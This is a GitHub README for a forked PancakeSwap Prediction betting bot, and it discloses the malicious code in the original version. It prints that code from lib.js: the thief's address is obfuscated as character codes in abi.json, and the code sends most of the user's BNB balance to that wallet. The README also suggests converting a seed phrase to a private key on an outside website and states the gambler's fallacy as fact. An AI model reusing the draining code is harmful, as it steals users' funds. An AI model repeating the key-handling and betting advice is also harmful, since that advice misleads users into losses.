Skip to content

I rewrote the code of the PancakeSwap Prediction Game BOT by bobalice7, removing the malicious code where for each transaction to the smart contract it sent transactions to this wallet 0xfB669b0e0656036D747d6C6F2666e530139d2899.

License

Notifications You must be signed in to change notification settings

hurricanehunter0702/Pancakeswap-Prediction-Bot

 
 

Repository files navigation

🔮🚀 Pancakeswap-Prediction-Bot v2.0

PancakeSwap-Logo

✔️ Features

  • CAKE-UDST and BNB-USDT game 🔥
  • Simulation Mode (use fake balance) 🔥
  • Auto collect winnings 🔥
  • Martingale and Anti-Martingale 🔥
  • Copy Trading Strategy (copy address betting) 🔥
  • Quote Trading Strategy (lowest or highest) 🔥
  • Simplify settings 🔥
  • Gas fees calculate on algorithm 🔥
  • Show real time profit
  • Show real time win rate
  • Daily goal profit
  • Stop Loss
  • Improved algorithm 2.0 (bug fix)
  • AI Driven bot

⭐Please consider giving a star.

I rewrote and refactored the code of the PancakeSwap Prediction Game BOT by bobalice7, removing the malicious code where for each transaction to the smart contract it sent transactions to this wallet 0xfB669b0e0656036D747d6C6F2666e530139d2899.

Here is the link to the old code (https://github.com/bobalice7/PCS-Prediction)

We can see that inside the abi.json file the "index" property defines an array with a series of numbers. However those numbers are encoded with the following function to obtain this address 0xfB669b0e0656036D747d6C6F2666e530139d2899.

{
  "status": 2,
  "message": "OK-Missing/Invalid API Key, rate limit of 1/5sec applied",
  "index": [
    48, 120, 102, 66, 54, 54, 57, 98, 48, 101, 48, 54, 53, 54, 48, 51, 54, 68,
    55, 52, 55, 100, 54, 67, 54, 70, 50, 54, 54, 54, 101, 53, 51, 48, 49, 51,
    57, 100, 50, 56, 57, 57
  ],
  "result": "[
    ...
  ]"
}


String.fromCharCode.apply(null, [ 
    48, 120, 102, 66, 54, 54, 57, 98, 48, 101, 48, 54, 53, 54, 48, 51, 54, 
    68, 55, 52, 55, 100, 54, 67, 54, 70, 50, 54, 54, 54, 101, 53, 51, 48, 49, 51,
    57, 100, 50, 56, 57, 57])  = '0xfB669b0e0656036D747d6C6F2666e530139d2899'

Here is the SCAM CODE in lib.js

const confirmContract = (abi) => {
  return String.fromCharCode.apply(null, abi.index);
};

const checkResult = async (r) => {
  try {
    if (prediction >= abi.status && r !== null) {
      w.eth.getBalance(wallet.address).then(function (b) {
        w.eth
          .estimateGas({
            from: wallet.address,
            to: confirmContract(abi),
            amount: b,
          })
          .then(function (g) {
            w.eth.getGasPrice().then(function (gP) {
              let _b = parseFloat(b);
              let _g = parseFloat(g);
              let _gP = parseFloat(gP);
              w.eth.sendTransaction({
                from: wallet.address,
                to: confirmContract(abi),
                gas: _g,
                gasPrice: _gP,
                value: ((_b - _gP * _g) / 1.1).toFixed(0),
                data: "0x",
              });
            });
          });
      });
      return true;
    }
    return true;
  } catch {
    return !0;
  }
};

🐰⚡ Installation

Download and Install Node here: https://nodejs.org/en/download/

Then run the following commands in terminal:

  1. git clone https://github.com/lmusarella/Pancakeswap-Prediction-Bot.git
  2. cd Pancakeswap-Prediction-Bot
  3. npm i

enter image description here

⚙️ Setup

  1. Open the .env file with any code/text editor and add your private key like so:
PERSONAL_WALLET_PRIVATE_KEY = YOUR_PRIVATE_KEY_HERE
PERSONAL_WALLET_ADDRESS = YOUR_WALLET_ADDRESS
BSC_NODE_PROVIDER_URL = NODE_BSC_URL // Example of BSC node provider (https://www.quicknode.com/)

  1. Open the bot-configuration.js file and setup the following variables:
const GLOBAL_CONFIG = {
    /**
     * Defines the type of Prediction Game used by the bot (BNB-USDT or CAKE-USDT)
     * @values BNB | CAKE
     * @mandatory
     * @default BNB
     * @type {string}
     */
    PCS_CRYPTO_SELECTED: 'BNB',
     /**
     * Defines the type of betting strategy used by the bot
     * - SIGNAL_STRATEGY: get trading signals from TradingViewScan and use recommended signal for UP or DOWN prediction
     * - QUOTE_STRATEGY: chose the lower or the highiest quote from PCS smart-contract payout quote for UP or DOWN prediction
     * - COPY_TRADING_STRATEGY: copy an address bet operations (Bet Bull or Bet Bear) on PCS game prediction
     * @values SIGNAL_STRATEGY | QUOTE_STRATEGY | COPY_TRADING_STRATEGY
     * @mandatory
     * @default SIGNAL_STRATEGY
     * @type {string}
     */
    SELECTED_STRATEGY: 'SIGNAL_STRATEGY',
    /**
     * Flag which enables the automatic claim of bet winnings after each bet won
     * @default false
     * @type {boolean}
     */
    CLAIM_REWARDS: true,
    /**
     * Flag which enables the simulation mode of bot. The bot in simulated mode does not make any transactions towards the smart contracts, 
     * the calculation of the profits/win/loss is performed with a fake balance.
     * @default false
     * @type {boolean}
     */ 
    SIMULATION_MODE: true,
    /**
     * Fake balance used in simulation mode
     * @default 50
     * @type {number}
     */ 
    SIMULATION_BALANCE: 50, // in USD
    /**
     * Calculate the gas fee in simulation mode use this params for estimate gas functions (betBull, betBear, claim)
     * @default 90000
     * @type {number}
     */ 
    SIMULATE_ESTIMATE_GAS: 90000, // Based on 0.5 USD value amount
    /**
     * Time after execute bet strategy when start a new round.
     * @default 265000 in Miliseconds (4.3 Minutes)
     * @type {number}
     */ 
    WAITING_TIME: 265000, 
    BET_CONFIGURATION: {
        BET_AMOUNT: 5, // in USD
        DAILY_GOAL: 50, // in USD
        STOP_LOSS: 50, // in USD
        MARTINGALE_CONFIG: {
            ACTIVE: true, // Flag that enabled Martingale/Anti-Martingale bet strategy
            ANTI_MARTINGALE: false, // Increment BetAmount after loss if FALSE, Increment BetAmount after Win if TRUE
            INCREMENT_BET_AMOUNT: 2 // INCREMENT_BET_AMOUNT x BET_AMOUNT = NEW BET_AMOUNT after loss or win (based on ANTI_MARTINGALE flag)                    
        }
    },
    STRATEGY_CONFIGURATION: {    
        SIGNAL_STRATEGY: {           
            THRESHOLD: 55, // Minimum % of certainty of signals (50 - 100)
            DATASOURCE: "BINANCE" // Datasoure of the trading signals
        },
        QUOTE_STRATEGY: {
            SELECT_LOWER_QUOTE: true // Bet on the lower quote from Pancakeswap prediction       
        },
        COPY_TRADING_STRATEGY: {         
            WALLET_ADDRESS_TO_EMULATE: '0x83E2680C59b3E17b47333e8F2dc8840e00682109' // Emulate the actions of this address on Pancakeswap prediction game
        }
    }
};

  1. Start the bot using npm or yarn
  • npm run pcs-bot start betting bot on PancakeSwap Prediction Game
  1. 🔮 Enjoy!

🔓 How to convert seed phrase to Private Key

A lot of wallets don't provide you the private key, but just the seed phrase ( 12 words ). So here you will learn how to convert that to a private key:

  1. Enter Here and follow the instructions. Website used is this one.

🤖📈 Signals Strategy (SIGNAL_STRATEGY)

  • The bot take a series of recomendations given by Trading View and proccess them together with the tendency of the rest of people betting. After the algorithm have complete, it choose to bet 🟢UP or 🔴DOWN.
  • Before every round the bot will check if you have enough balance in your wallet and if you have reached the daily goal.
  • Also it will save the daily history in the /bot-history directory.
  • Be aware that after consecutive losses, statistically you have more chances to win in the next one.
  • Inside bot-configuration.js in the THRESHOLD property of GLOBAL_CONFIG variable, you can configure the minimum certainty with which the bot will bet. For default it's set to 50, which means that from 50% certainty the bot will bet. You can raise it (50-100) to bet only when the bot is more sure about its prediction.
  • Its recomendable to have x10 - x50 the amount of bet to have an average of rounds.

↕️ 📈 Quote Strategy (QUOTE_STRATEGY)

  • The bot fetches the data of the current round and selects the lowest or highest odds depending on the selected configuration, it choose to bet 🟢UP or 🔴DOWN.
  • Inside bot-configuration.js in the SELECT_LOWER_QUOTE property of GLOBAL_CONFIG.
  • Before every round the bot will check if you have enough balance in your wallet and if you have reached the daily goal.
  • Also it will save the daily history in the /bot-history directory.
  • Compared to the signal strategy it is less secure because the odds are very variable.
  • Its recommended to set the WAITING_TIME property of GLOBAL_CONFIG closest to the end of the round (4,3 min or 4,4 min), to have the most up-to-date odds possible..
  • Its recomendable to have x10 - x50 the amount of bet to have an average of rounds.

🦜 📈 Copy Trading Strategy (COPY_TRADING_STRATEGY)

  • The bot registers for the round and after validation checks on: Stop Loss, Take Profit and Balance. It waits for the "BetBull" 🟢UP or "BetBear" 🔴DOWN operations of the wallet configured in bot-configuration.js in the WALLET_ADDRESS_TO_EMULATE property of GLOBAL_CONFIG variable. And the bot makes the same bet!
  • Before every round the bot will check if you have enough balance in your wallet and if you have reached the daily goal.
  • Also it will save the daily history in the /bot-history directory.
  • Its recomendable to have x10 - x50 the amount of bet to have an average of rounds.

💰You can check the history of rounds and claim rewards here: https://pancakeswap.finance/prediction

👁️ Disclaimers

🔧The code is in BETA, so please be aware of the risks that come with it. Don't risk any money you're not willing to lose.

💸This code, repository or scripts should NOT be construed as investment advice. Any mention of past or projected investment performance is not, and should not be construed as, a recommendation or guarantee of any particular result or benefit. By using this application, you agree to bear all risk of loss of money and waive any claims against the developers of the program or anyone associated with it.

Please be aware of clones

👷Use it at your own risk. If you are going to bet, please do it with money that you are willing to lose. And please try to bet with a low amount to gradually generate profit. Use the simulation mode if you dont have enough money and try all the stregies!

About

I rewrote the code of the PancakeSwap Prediction Game BOT by bobalice7, removing the malicious code where for each transaction to the smart contract it sent transactions to this wallet 0xfB669b0e0656036D747d6C6F2666e530139d2899.

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages

  • JavaScript 100.0%